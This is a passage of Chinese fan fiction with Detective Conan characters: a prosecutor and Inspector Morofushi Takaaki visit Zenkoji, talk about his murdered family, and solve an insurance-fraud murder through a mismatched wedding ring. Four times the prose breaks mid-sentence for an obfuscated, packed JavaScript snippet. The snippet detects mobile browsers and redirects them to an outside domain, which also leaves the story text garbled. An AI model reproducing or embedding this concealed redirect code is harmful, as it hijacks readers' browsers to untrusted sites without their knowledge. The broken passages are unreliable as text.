北原浅落边思索边说:“这是我的说法,其实我也不知道怎么形容,就是把那些不需要的信息和记忆暂时在头脑中封存起来,以后要是需要这段记忆的话一般都会有个契机或者引线,到时候根据这些再取出来就好了。” “听起来好厉害,不愧是北原桑!” “没有啦,其实这也是我当检察官的原因之一,记性好的话法条背起来很轻松,出庭的时候基本能信手拈来,开庭的材料我也能提前都记下,省得翻来翻去。” “确实,是个非常实用的技能呢!” “还是个有趣的技能。”北原浅落冲上原由衣眨了眨眼,“上原桑,打开你手机的地图,我给你说一遍从检察厅到店里一路上的经过的店名。” “哈?这可以吗?”上原由衣难以置信,求助的目光望向另外二人。 诸伏高明嘴角带着一丝无奈的笑,大和敢助则是兴致勃勃。 “真的吗?上原,打开地图。” “准备好了吗,我开始喽。” 于是,接下来的两分钟,桌上见多识广久经沙场的刑警们就听着北原浅落报菜名一样把一路上经过的店面都说了个遍。 “好了,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078999|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此结束。” 与北原浅落的轻快不同,整个包厢陷入了一种难以言说的寂静。 “怎么了?我说错了吗?” “没有,一个没错,”诸伏高明放下手机,看向北原浅落,眼中是自己都未曾察觉到的欣赏,“只是他们被你惊到了。” 还好他已经提前见识过了,但是,森川前辈说得对,过目不忘这种技能不论见多少次,依然会被惊艳。 * 聚餐结束,上原由衣和大和敢助回警察本部开车,临行前,上原由衣嘱托:“诸伏君,北原就拜托你了。” “好的,你放心吧。”这次,诸伏高明没有拒绝。 “那上原、大和警部再见!”北原浅落向二人道别。 才一个晚上,两人就已经到互称姓氏的地步了吗? 女人之间的友情确实难以捉摸。 陆续和一起吃饭的警察们告别后,两人开始走路回家。 和前几日的新月不同,今天的月亮已经是上弦月。 “今天的月亮比那天晚上要亮诶诸伏警部。” 诸伏高明偏头看向女孩,和那天晚上不同,女孩嘴角上扬,眼中溢满了光,是显而易见的开心。 “是啊,你的心情也比那天好多了。” 北原浅落愣了一下,没有否认:“因为今天吃饭吃得开心啊,那天看了田中博行的日记,情绪的确有些低落。” “抱歉,是我考虑不周,只想着你能帮忙,没意识到给你带来的影响。” “不,不关你的事,说实话,从进入检察厅开始,手上也处理了几百件大大小小的案子了,也见过许多黑暗,我以为我已经习惯了,但是,看到他的日记,内心还是会触动。” “人真的是复杂的生物啊。明明是胆小懦弱的性格,却敢铤而走险接触毒品,得到的钱也没有拿来吸毒,而是开了这家花店,弥补小时候的心愿和梦想。” “那么,如果,我是说如果,”诸伏高明双眸微眯,“田中博行没有出车祸死亡,你会在起诉的时候考虑减轻刑责吗?” 诸伏高明以为北原浅落会思考一会,可没想到,几乎是下一秒,对方就给了答复。 “不会。” “犯罪就是犯罪,更何况是毒品有关的重罪。” “作为人,我可以从个体的情感角度出发,但是,作为一名检察官,我必须从法律出发,维护司法的公正权威。” “如果他还活着,如果这件案子的公诉人是我的话,我依然会申请死刑。” “不愧是东京地检的王牌检察官……”诸伏高明看向身旁因为讨论话题而神色严肃的北原浅落,不禁感叹。 “难道诸伏警部不这么想吗?” “不,我和你看法一致。个人的成长环境的确对一个人有重大影响,但这不是他犯罪的理由。” “话说回来,”北原浅落抬头看向诸伏高明,“以诸伏警部的性格,我觉得你也很适合当检察官,为什么当初选择成为警察呢?还是非职业组的警察。说实话,就算诸伏警部毕业了,这个事迹依然在系里流传呢,因为警察是一直以来的梦想职业吗?” 诸伏高明脚步微不可察一顿,旋即恢复正常。 “是,算是这样吧。北原检事呢?你也一直把检察官作为职业目标吗?” 再一次,对方的回答出乎诸伏高明意料。 “并没有。” “我有一段时间非常抗拒法学,不仅不想大学修读法律,还不想之后从事法律相关的职业。” “特别是检察官。” 5. 第 5 章 夏日的傍晚,阳光灼灼。 好在有浓密的树荫。 两道旁的大树枝繁叶茂,粗壮的树干暗示着它们的年岁。 正值假期,又是饭点,往日热闹的院系大楼附近静谧非常。 一位十几岁的少女慢步靠近,她扎着半高的马尾,穿着一袭海蓝色及膝裙子。 在路旁的指示牌边,少女停下脚步,瞥了眼上面的字后,抬头仰望着面前的建筑。 晚风吹过,头顶的树叶沙沙作响,投到指示牌上的影子也随风摆动。 指示牌上写着:【法学部】 少女在指示牌旁盯着大楼看了许久,在大楼前的小花园踱步,最后,她停在最靠近大楼门口的座椅边,坐下后从随身的包里取出纸笔,低头写字。 不过十几秒,少女收起笔,将纸折了几折,塞入栏杆扶手的空心处。 突然,狂风大作,到处是飘荡的落叶。刚塞入的纸被吹到半空中。 少女大惊,起身跟着纸,试图跳起将纸抓住。 一阵徒劳。 “你在找我吗?” 仿佛按下了开关键,世界一瞬间静止。 少女愣在原地,正要转身去看,风再度席卷而来,吹散的头发模糊了视线,她看不清对方的模样。 眼前的一切变了形,她最后看见的,是飘至眼前的那张纸,上面写着: “你为什么要进入法学部?” 北原浅落猛地睁开眼,愣愣看着天花板,略带急促的呼吸显示她醒来之前的睡眠状态并不好。 等到心跳缓和,北原浅落坐起身子掀开被子下床来到卫生间。 振动的电动牙刷让她的心思回到现实,望着镜中披散着头发的自己,思绪不禁跟着先前的梦境回到14岁的夏天。 可是,北原浅落,你已经28了,不再是那个懵懂叛逆的小女孩了。 闹钟响起,北原浅落边刷牙边走回房间关掉闹钟。 是她前一天晚上设的。 自从庆功宴上和上原由衣相熟后,两人便时不时有联系,对方邀请她这周末一起去善光寺踏青。 除了她们两个,当然还有大和敢助和诸伏高明,这一点不用想也知道。 洗漱完,北原浅落从冰箱里取出之前买的牛奶和吐司,简单吃了个早餐,想着周五下班前看到的交通意外致死案的现场事故鉴定书。 这个案子不复杂,就是嫌疑人在路上开车时因为紧张,不小心撞到了邻近车道的车,不料导致对方失控撞上护栏,继而起火爆炸,造成驾驶室内司机死亡。 交警那边的责任认定书也下来了,是嫌疑人全责,涉嫌交通肇事罪和过失杀人罪。 以她四年的检察官经验来说,这是个权责明晰的简单案子,按照流程准备起诉书提交材料就好了。 可是死者生前那巨额保险单总让她心里打鼓。 算了,下周去监狱见见嫌疑人吧,顺便找个时间去下案发现场。 电话铃声打断了北原浅落的思路,是诸伏高明。 “诸伏警部,早啊。” “早,北原检事,你准备好了吗?” “嗯,差不多了,”北原浅落抽了张纸擦嘴,拎起前一天晚上准备好的包走向玄关,“已经在换鞋了。” “好,那我下来找你,我们一起下去吧。” “好,待会见。” 北原浅落将手机抛入包内,蹲身利落系好鞋带。 刚出门,电梯口就传出开合的声音,她连忙小跑过去,果不其然,电梯里是从9楼下来的诸伏高明。 “早啊,诸伏警部!” “早。” 北原浅落这才注意到对方今天难得没穿西装,白色的衬衫外套了一件灰色外套,裤子和鞋子也变成了黑色休闲裤和运动鞋。 “我的衣服怎么了吗?” 直到头顶的醇厚男声响起,北原浅落才发觉自己盯着对方看太久了。 “没有没有,”北原浅落红了脸,急忙移开视线,“就是难得见到诸伏警部穿休闲装。” 回应她的是一声轻若颤动的笑声。 “北原检事也是,难得看到你不穿职业装的样子。”诸伏高明再次从上到下细细打量女孩的装扮。 上班时盘起来的头发被放下,高马尾随着女孩头部的动作摆动。米色的针织衫,浅绿色的半裙落至小腿处,一双白色的休闲鞋,是检察官身份之外的简约清新打扮,让他幻视在超市里见到的那一天。 北原浅落觉得自己脸上更烫了,连耳根都跟着发热,一向能言善辩的她此刻居然不知如何回应。 好在电梯开门的动静拯救了她,她不等门全部打开就走了出去,楼下,上原由衣和大和敢助已经等在门口。 “北原,诸伏君!”上原由衣在驾驶位冲二人打招呼。 “早啊,上原,大和警部。” 北原浅落逃似的开启车后座。 “怎么了?你脸怎么那么红?”从后视镜里瞧见北原浅落神色有异,上原由衣问道。 “没、没什么。” 下一秒,另一侧车门被打开,诸伏高明不着痕迹瞧了眼不敢看他的北原浅落,伸手拉过安全带扣上。 卡扣的声音让北原浅落回过神,急急忙忙拉过自己这边的安全带系上。 大和敢助会心一笑,半转过脸对好朋友说:“高明,看不出来你深藏不露啊。” “哪里,我只是无心插柳罢了。”诸伏高明摇了摇头,不去理会对方的调侃,“上原桑,出发吧。” 他真的没想到就那么两句话,北原浅落的反应会这么大,早知道就不说出口了,让她看几眼又有何妨。 春色正浓,正是出游的好天气,一路下来,北原浅落拍了许多照片。 “北原,你以前来过长野吗?” 北原浅落按下快门,扭头回答上原由衣的问题:“没有,这是我第一次来。” “诶?真的假的?东京离长野也没有很远吧?” “真的,”北原浅落无奈一笑,把手搭上上原由衣伸过来的手借力上台阶,“我爸妈工作忙,很少带我出去玩,不过因为他们工作调动的原因,我倒是去过其他地方,但是不包括长野。” “等到我工作了,哈,该怎么说呢,你是不知道东京一年到头会发生多少案子,我在那天天连轴转,周末都无法保证正常休息,哪还会想着出来玩。” “所以你就逃到长野地检来了?”许久不说话的大和敢助冷不丁插话。 “这……”北原浅落肉眼可见愣住,她当初报名的时候还真没想过这一茬。 所以九条前辈知道自己要调来长野才会这么生气!一直和她兢兢业业加班加点处理案件的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079000|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己毫无征兆跑了,接下来东京那堆积如山的案子哪还找得到像自己这么任劳任怨又效率惊人的检察官接手? 多半是苦了九条前辈。 见北原浅落半晌不说话,大和敢助继续出击:“我说对了?” “才不是呢,敢酱,你别乱说,太没有礼貌了!” “那是为什么呢?不会是因为喜欢的人在长野吧?”经历了铺垫,大和敢助终于说出准备已久的试探,冲诸伏高明得意一笑。 怎么样?还得靠他吧。 对方面色一如此刻的山间,寂静无风。 但大和敢助并不被诸伏高明的表象迷惑,都认识三十多年了,对方心里的小九九他还会不清楚? 他对这位检事小姐喜欢可能还说不上,好感肯定是有的。 “欸?!”北原浅落脚下一滑,差点摔倒,还是上原由衣眼疾手快一把抓住了她。 “敢酱!”上原由衣瞪了大和敢助一眼。 “大和警部,这种话不能乱说啊!”北原浅落忍不住跺脚,涨红了脸申辩,“当然不是因为这个啦!哪来什么喜欢的人!” “好好好,抱歉抱歉。”大和敢助趁机道歉下台。 “这还差不多,”北原浅落嘟囔,随后“正色”吓唬,“大和警部,举头三尺有神明,善光寺就快到了,你注意点。” “什么嘛,”大和敢助停下脚步,看向往前走远的二人,对身边一直保持沉默的人说道,“怎么连说话都和你一样,文绉绉的。” “敢助君,北原检事说得对,非礼勿言。” 诸伏高明瞥了大和敢助一眼,正要跟上,却被大和敢助举起的拐杖挡了去路。 “刚刚不该谢我吗?”大和敢助嗤笑一声,“别和我说你不好奇她是不是单身。” 他刚刚看得一清二楚,北原浅落脚滑的那一下,诸伏高明的手臂早就做好了准备保护的准备。 诸伏高明转头看了大和敢助一眼:“敢助君啊,获取消息的来源不只一个,你刚刚的做法实属下策。” “哦?那我倒想听听你有什么高明之策。” “不需要什么计策,”诸伏高明挪开视线,看向数米外说笑的二人,“我从一开始就知道她是单身。” “在我们见面前就知道了。” “哈?” 合着是他自作多情了? “喂,高明,你说清楚了,什么叫‘你从一开始就知道’?” * 从寺庙拜完出来,北原浅落一时没有看见另外二人,感到奇怪。 “咦?上原和大和警部呢?” “他们啊,大概是去哪里逛了吧,我们还是待会再去找他们吧。” “也是,给他们两个一点独处时间也好,我们就不去当电灯泡了。”北原浅落笑吟吟点头,她不傻,那两人对彼此的心意她看得一清二楚。 北原浅落跟将双手搭在栏杆上,望着满山的绿色密林。 “不愧是长野,景色真美啊,在东京可见不到呢……” “对了,刚刚在里面,诸伏警部你看起来很虔诚,也有些忧伤,是怎么了吗?” 诸伏高明一怔,望向远方的双眸笼上一层薄纱,神色却沉静依然。 “大概是因为小时候和家人经常来善光寺。” “如今,故地重游,物是人非。” 6. 第 6 章 诸伏高明12岁那年,他和父母、弟弟四人结伴来到善光寺。 这不过是他们这么多年到访中的寻常一次。 一路上,景光跑跑闹闹,不时好奇地蹲下观察路边的花花草草,累了,就撒娇让父亲抱着走一段路。 母亲不时从背包里取出水果和饮料,都是事先削好切好的,轮流分给兄弟二人。 遇上父亲抱着景光,母亲就会用牙签喂给他和父亲,嘴上说着“快下来,你爸爸背不动你了”,眼中尽是柔情。 那时候,风和日丽,山幽树深。 那是他们最后一次全家出游善光寺。 “诸伏警部,诸伏警部?” “啊?” 诸伏高明从回忆中抽身,撞入女孩清澈的双眸,眸光似水,让他想起了母亲那双柔情的眼,只是,这双眼不只柔情,还有不加掩饰的关心。 “诸伏警部你怎么了?” “没怎么,”诸伏高明不敢再看,“只是想起小时候和家人一起来善光寺的事情了。” “那时候景光还很小,父亲母亲也都还在世……” 景光? 不等北原浅落细想这个名字,随之而来后半句直接让她愣在原地。 “诸伏警部的父母……” “是,他们已经去世了,在二十多年前。”诸伏高明点头,替北原浅落将话补充完整。 “你没有听说——”刚说出,诸伏高明就恍然大悟,“你不知道是正常的,那时候,你还那么小。” 原来已经过去这么多年了。这个案子当年传的沸沸扬扬,报纸上都登在显眼的位置。 景光,他,他是什么时候牺牲的呢? 他牺牲的时候,痛吗? “回首往事如梦渺……” 诸伏高明的低语如一声叹息,被山间清风裹挟而去,消散在广袤的山林间。他的神情如夕阳将落的山间,仍有余晖,却掩盖不住既定的昏暗落寞。 他一定很难过。 北原浅落不再说话,默默往诸伏高明那边挪了一小步,和他一起望向山中的树,山间的雾,或许还有山间的回忆。 回到公寓,两人先后步入电梯。 狭小的空间助长了莫名的冲动。 她或许无法对失去至亲的痛苦感同身受,但她仍想做些什么。 “诸伏警部。” 电梯在八楼减速。 “你还有我们这些好朋友。” 电梯门缓缓打开。 “我们都会陪在你身边的。” 北原浅落说着走出电梯,离开前仰头看了诸伏高明一眼,意外发现对方怔怔地看着自己。 “抱歉,我越界了。”北原浅落后知后觉自己说了什么,居然对认识不久的人说出这种话,自己引以为傲的检察官的洞察力和自制力呢? “没有——” 诸伏高明正想再往下说,合上的电梯门隔绝了二人。 空气中,似乎还留有她的气息。 听见她这么说,他很高兴,却也止不住心底漾开的悲怯。 他们真的会陪在他身边吗? 她真的会吗? 从父母去世开始,到景光不知何时牺牲在何地,再到大和敢助差点殒命雪崩,上原由衣匆匆嫁人,他似乎总是在失去的路上。 总有一天,她会返回东京。 总有一天,她会离开。 * 新的一周,如之前的安排,北原浅落去了案件信息上显示的车祸现场。 如她之前在现场照片里观测到的那样,这条路虽然有转弯,但不急,远远不至于因为邻近车道的一些刮蹭就失控。 不行,仅凭猜测站不住脚,个体之间存在差异,自己以为的不是真相,看似不可能的事情最后却是实情,她不是没遇见过。 她需要推翻自己的猜测。 手机响起,北原浅落顺手接起。 “小野桑,你已经在拘留所了?好,我马上就到。” 展示完工作证件,北原浅落和小野茜步入看守所的会面间。 来之前,她看过资料,嫌疑人叫高木孝也,是一家电子公司的职工,那天是上班通勤路上的车祸。 北原浅落把包中的证件再度取出,向玻璃隔间内的高木孝也展示:“高木先生,我是长野地检的检事,北原浅落,这位是我的事务官小野茜女士,接下来,我将对上个月3号发生在建业路上的车祸事件对你进行询问。” “好。”高木孝也点头,沙哑的声音中透着疲累。 “高木先生,能请您回忆一下事件发生当时的情形吗?” “嗯,那天早上,我像往常一样开车上班,快要到建业路这个路口时,我看到左边车道这辆车有点晃晃悠悠的,下意识骂了句会不会开车,就要转方向盘离它远点转弯,没想到车突然打滑,我和这辆车撞了一下,我以为只是小事故,还想着把车停下来协商处理车祸,但这辆车却丝毫没有减速的意思,直直冲上了弯道,然后,就是爆炸起火,我连人都来不及救……” “高木先生,我能理解你的心情,这不是我们想看到的结果,”北原浅落先对高木孝也进行了安抚,见他情绪稍稍稳定后继续发问,“请问您确定这辆车在您装上前就开得不好吗?” “是的,我都怀疑是哪个新手没学好就上路了,连直线都不会开,在我之前,有很多辆车也都避开了那辆车去了另外的车道。” “你们在途中有遇见红灯吗?嗯,我换个问法,你见过这辆车在路上停下再启动吗?” “没有,”高木孝也摇头,“那是座高架,没有红灯,不是紧急情况大家也都不会停车。” “我了解了……最后一个问题,在你和那辆车撞上的瞬间,你肯定是打方向盘急忙躲避,那对方呢?有察觉到对方有类似的动作吗?” 高木孝也思忖良久,摇头:“对不起,我不确定,我忘了当时对方什么反应了,我只记得我当时心里很慌,连忙往另一边打方向盘想把车停下,等我反应过来,对方已经撞上弯道的护栏了。” “我明白了,非常感谢您的配合,今天的询问先到这,以后有需要我还会来找您。”北原浅落起身告别。 小野茜匆匆把记录的笔记本电脑收回包,跟在北原浅落旁走出看守所。 “北原检事,有什么发现吗?” 北原浅落抿了抿唇:“还不好说。” “是死者开的车有什么问题吗?” 北原浅落没有回答,而是嘱托道:“小野小姐,你现在马上联系死者生前做体检的医院把近几年的体检报告的发我,然后去交通部调取死者车辆的行驶路线和沿线监控视频,拷贝一份带回检察厅。我现在去一趟死者家见她丈夫,之后检察厅见。” “好。” * “打扰了,中山先生。” “哪里,北原检事客气了,快进来吧。”中山真一郎伸手邀请北原浅落进屋。 趁中山真一郎倒茶的功夫,北原浅落抬眸环视了一圈屋内的装饰布局,墙边立着几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079001|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个纸箱,最上面那个半开半合,恰好在插座板旁。 北原浅落经过时在旁边停下,俯下身查看。 “那些是惠子的遗物,我把这些都收起来了,打算堆到杂物间去,”中山真一郎端茶走近,“逝者已往,我们总得往前看,不是吗检事?” “是的。”北原浅落发现最上面的纸箱里放着一个相框,是中山真一郎和中山惠子的合照。 她伸手接过对方递来的茶水,和对方一起到沙发边坐下,看着对方手上的戒指问道:“中山先生的婚戒真是别致。” “啊,”中山真一郎低头看了眼戒指,伸手转了转,“这是我和惠子当年结婚的时候一起选的。” “您和中山女士一定很相爱。” “是的,我们结婚已经七年了,一直很相爱。” “那中山女士的那枚婚戒是被您收起来了?” “不,惠子戴着那枚戒指出了车祸,我把那枚戒指和惠子的骨灰埋葬在一起了。”中山真一郎低头,看起来十分难过。 “抱歉。”北原浅落抿了口茶。 “没关系,您今天前来,是惠子的案子有什么进展了吗?要开庭了吗?” “是的,快了,”北原浅落将茶杯放回茶几,“所以我今天过来想询问您一些关于田中女士的事情。” “好,您请问。” “那我就开门见山了,我们了解到,中山女士给自己买了巨额的人身保险,受益人写的是您的名字。我们不是怀疑您什么,我们就是想了解一下,当初中山女士为什么要买这么巨额的保险?请您理解。” “是,我理解,这是你们的工作。” “是惠子提出买保险的,她是保险公司的职工,就给我们两个都买了这个保险,我的那份受益人写的是她的名字。” “是这样。” “是的,惠子这个人,在生活中总是会多想,我拗不过她,就和她一起投保了,没想到,唉……” “请节哀。”顿了顿,北原浅落继续问道,“请问中山女士有什么病史吗?” “没有,她身体一直很健康。” “那这些药是……”北原浅落看向桌边摆着的药瓶和药盒。 “这是我的药,我有点高血压,还有慢性胃病,这些是医生给我配的药。” “原来如此,那中山女士那几天行为有什么异常吗?有没有说她的车有没有什么问题之类的?” “没有,那几天一切很正常,车的话也刚刚年检完没多久,我想车管所那边都会有记录。” “好,打扰了中山先生,”北原浅落起身告辞,“我先回去了,我想再过不久就会开庭了,请您近几日别离开东京。” “您放心,我会的,我会替惠子办完人世间最后一件事。” 路过墙边的箱子时,北原浅落的目光再次落在那张照片上,照片上的二人依偎在一起,手上都戴着婚戒。 出了门,北原浅落上车系好安全带,却并没有马上离开,而是望着中山家的住宅出神。 “It is always the husband.” 她拿出手机,小野茜已把中山惠子的体检报告传过来,她马上给对方打了电话。 “小野小姐,请立刻知会警方,让他们调取中山真一郎近一年的银行流水,还有他和死者近一年的购物记录,并且派人对他家进行彻底的搜查。” “是的,没错,按我说的做。” “没事,搜查令我来签字申请,我马上到。” 7. 第 7 章 “丢脸丢脸,居然让检察厅把案子退回来重查了,还真的证明之前查错了,真是丢大脸了!”三浦健人右手覆上额头,向办公室里的同僚们表达懊恼。 “知道丢脸下次还不仔细一点,”大和敢助转动办公椅面向三浦健人,毫不留情嘲笑,“不然下次又被这位新来的检事小姐揪住辫子,这样的话,三浦,你还怎么混下去啊!” “大和,你就知道说风凉话。” “不然呢,难道你还和刚穿上警服的毛头小子一样需要我做个知心大哥安慰一下?” “没事的三浦君,对警方移交的案子重新进行审查本就是检事的职责,这么多案子,我们出现纰漏也是正常的。”诸伏高明走近拍了拍三浦健人的肩膀以示安慰。 “你看你看,还是诸伏对我好。” “不过三浦君,”诸伏高明收回手插入西装裤口袋,“你确实该仔细一点,就算不为了自己,也要为了长野县警察的名声。” “哈?就知道你和大和一样,都不安好心。” 三浦健人恨恨瞪了二人一眼,换来二人毫不掩饰的笑声。 “话说诸伏,之前课长让你接这个案子配合检方重新调查,你怎么不接?负责这件案子的那位检事是你大学后辈,怎么着也是你去一起共事更方便吧?” 诸伏高明手指一紧,而后抽出手交叠搭在身后:“知错就改,善莫大焉。既然这个案子最开始是三浦君负责的,那么重新调查也该让你来才是,也算是一定程度上的戴罪立功了。” “好,好,就当你是为我好吧。”三浦健人耸了耸肩。 “太好了,大家都在,北原你进来吧!”上原由衣捧着厚厚一叠文件进门,转头对身后招呼。 果然,身后是几日未见的北原浅落。 “大家好啊!” “北原检事,你怎么来了?” “三浦警部你果然忘了,我昨天下午和你说了呀,我今天过来拿中山真一郎案件的证据和材料。”北原浅落笑着叹气。 “哎呀哎呀,瞧我这记性!”三浦健人懊恼地拍了拍后脑,说着就朝办公室外走去,“你先在这坐会,我马上去给你拿,上原,给北原检事泡杯咖啡。” “好的。” 上原由衣放下文件,正要去泡咖啡,却被大和敢助拦住。 “你确定要让北原检事尝你泡的咖啡?” “敢酱!” 大和敢助看向诸伏高明:“诸伏,你去泡吧。” “那就麻烦诸伏警部啦。”北原浅落冲不远处的男人偏头一笑,上次的红茶确实不错,不知道他泡的咖啡怎么样。 “不麻烦。” 只一眼,诸伏高明就移开视线,向茶水间走去。 “检事小姐,你这次可是在我们警局出风头了。” “哪里,大和警部你就别开我玩笑了。” “北原,我也很好奇,你是从哪看出来死者丈夫有问题的啊?” “因为戒指。” “戒指?” “是,那天见面时他说手上戴的婚戒是七年前结婚的时候买的,但是和之前照片上戴的不一样。” “那也有可能是当初结婚的时候买了两对戒指?好像也不能作为怀疑理由。”上原由衣质疑。 “仅仅是不一样当然不能啦,”北原浅落笑着点头,顺着对方的话往下说,“巧就巧在,我之前见过这个款式的戒指,是一年前刚出的,七年前怎么可能有?而且他说死者出车祸的时候戴着配套的女戒,这也对不上,证物照片上的戒指明显不是这个新款。” “原来是这样……” “居然是从戒指入手的吗?难怪三浦一开始没察觉,这真的怪不了他。” “确实是这样,毕竟警察们再仔细,也不太可能对戒指的款式有了解。” “可是你一眼就看出来了啊,你对戒指很熟吗?”上原由衣好奇。 “你的茶。”诸伏高明不知何时走到身后,将茶水放至北原浅落面前。 “不是咖啡吗?”北原浅落下意识问道。 透明玻璃杯中,红褐色的澄清液体微微晃荡。 “下午喝咖啡晚上会睡不着。” “好吧。”就是有些遗憾,北原浅落在心底默默接上,随后端起茶杯看向上原由衣,“没有啦,我也不熟,就是在东京的时候,我陪朋友去挑过婚戒,在那里看了不少戒指,他这款不便宜,得一百九十九万呢!” “这么贵?!”上原由衣惊愕,她一个警部补,得多久才能存到这些钱? “是啊,不过不得不说,有些戒指设计得真漂亮,上原,下次你要选戒指了,可以叫上我帮你参谋参谋。” “诶?”上原由衣瞬间脸上发烫,连话都说不利索了,“戒、戒指什么的,太早了吧……” “是吗?”北原浅落小啜一口茶水,神色间的狡黠不加掩饰,偏头看向大和敢助。 “喂,看我干嘛?你赶紧把茶喝完回检察厅去。” “可是三浦警部还没回来,我不能回去。”北原浅落假装无奈,心里止不住得意,怎么样,让他那天调侃自己,自己这下终于讨回公道了。 隐蔽处,诸伏高明腿上传来一击金属的轻击。 他睨了大和敢助一眼,多年的情谊加持在这,他开口转移了话题。 “北原检事,听三浦君说这次的关键性证据是藏在插座里的隐蔽摄像头?” “是的,”北原浅落收了些神色,回忆那天去中山家察觉到的异常,“是死者装的,我在东京培训的时候见过类似的隐蔽摄像头,恐怕丈夫出轨这件事,她已经开始怀疑,但是在找到切实证据前,她就已经遇害,但也正是这个摄像头,拍到了嫌疑人替换死者的维生素片的场景。” “北原检事,久等了!”三浦健人捧着盒子进来放在四人围坐的桌子上,“你对一下,然后签个字。” “好。” 北原浅落一一清点后,在证物单上签字。“那我走啦,再见!” “我送送你!”上原由衣连忙跟上,替北原浅落开门。 走开一段路,确定周围没什么人后,北原浅落小声探头询问:“上原,诸伏警部这两天还好吧?” “啊?挺好的啊?他怎么了吗?” “就是那天从善光寺回来,我就觉得他闷闷不乐的。” “闷闷不乐?”这个用词不免让上原由衣认真起来,认识诸伏高明这么多年,她还从未想过这个词能用在他身上。 “是的,那天你们不在的时候,他提到了去世的父母,还有一个叫景光的人,看起来很难过。” “原来是这样,”上原由衣了然,想起好友的悲惨遭遇,不禁黯然,“北原,你听说过二十二年前长野的诸伏一家灭门惨案吗?” “灭门?难道?” “是,诸伏君的父母就是在这起事件中遇害的,他和弟弟景光逃过一劫,景光之后寄养在东京的亲戚家,我很久没听说他的消息了,之前诸伏君落水,救起来之后一直喊着景光的名字,他应该很想念这个弟弟吧。” 很快到了警察厅大门口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079002|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北原浅落只得和上原由衣告别。 “上原,谢谢你告诉我这些。我先走了,你这几天和大和警部多关照一下诸伏警部吧。” “嗯,我们会的。” 借着职务便利,北原浅落调取了二十多年前那起惨案的相关材料。 双亲遇害的时候,他才13岁。 北原浅落心中一阵刺痛。 “是,他们已经去世了,二十多年前。” 是怎样的理智与隐忍,才能说得这么“云淡风轻”。 “北原检事,你没事吧?脸色怎么这么差?” 小野茜的惊呼将北原浅落惊醒。 “我、我没事。” “真的没事吗?需不需要去医院看看?” 北原浅落起身冲对方一笑:“真的没事,我去趟卫生间。” 自来水的凉感让她纷繁的思绪平静了些。 “诸伏,景光?” 对着镜子,北原浅落无意识说出了这个名字。 她好像在哪听过这个名字,在哪儿呢? 放松,放松。 是他! 可是为什么她没有在东京警视厅的警察名单里见过他? 北原浅落解锁手机,翻出通讯录去了一个电话。 “爸,您最近怎么样?” “是,我在长野很好,您不用担心。” “是这样的,我想让您帮我查个人。” “不是,不是案子相关的人,算是朋友吧?他可能和警界有关。” “好的,我待会把名字发过来。” “不打扰您工作了,再见。” 北原浅落正想挂电话,却被电话那头叫住,而后,原本沉重的脸色瞬间消失。 “哪有,您听妈乱说,绝对不是因为这个!” “啊,我突然有事,先挂啦,再见!” 迅速按下红色按键,北原浅落叹了口气,真是的,好好的提起那件事干嘛。 她打开通讯软件,给父亲发去了诸伏景光的名字。 既然嘱托给了自己父亲,就没问题了。 * 下班到家已九点多,诸伏高明按下玄关处的按钮,屋内亮起灯光。 换好拖鞋,他走进厨房,想从冰箱里拿点水果。 打开冰箱,吸引了注意力的却是一块巧克力蛋糕。 是北原浅落昨晚送来的,说是她自己做的。 今天早上,她也带了些去本部送给上原由衣他们,还问了自己觉得味道怎么样。 他还没有尝过,可是看到女孩希冀的目光,肯定和夸赞就不受控制出了口。 她最近时不时给自己送吃的,特别是甜品。 她甜度把握得很好,没有一丝甜腻,饶是他这种对甜品无感的人都能每次吃完。 诸伏高明盯了蛋糕许久,等到冰箱开始发出滴滴的警报,他才伸手将蛋糕取出。 刚刚进楼前,他抬头望了眼,她的居所没有亮灯。 她还没回来。 要发个简讯问问吗? 可是,已经决定不靠近了,不是吗? 瓷碟放到桌上发出清脆的响声,诸伏高明看向墙上的挂钟,秒针滴滴答答,宣告着自己的存在。 来而不往非礼也。 她送了那么多次东西上来,理应关心一下。 正想打电话,对方的电话却打了过来。 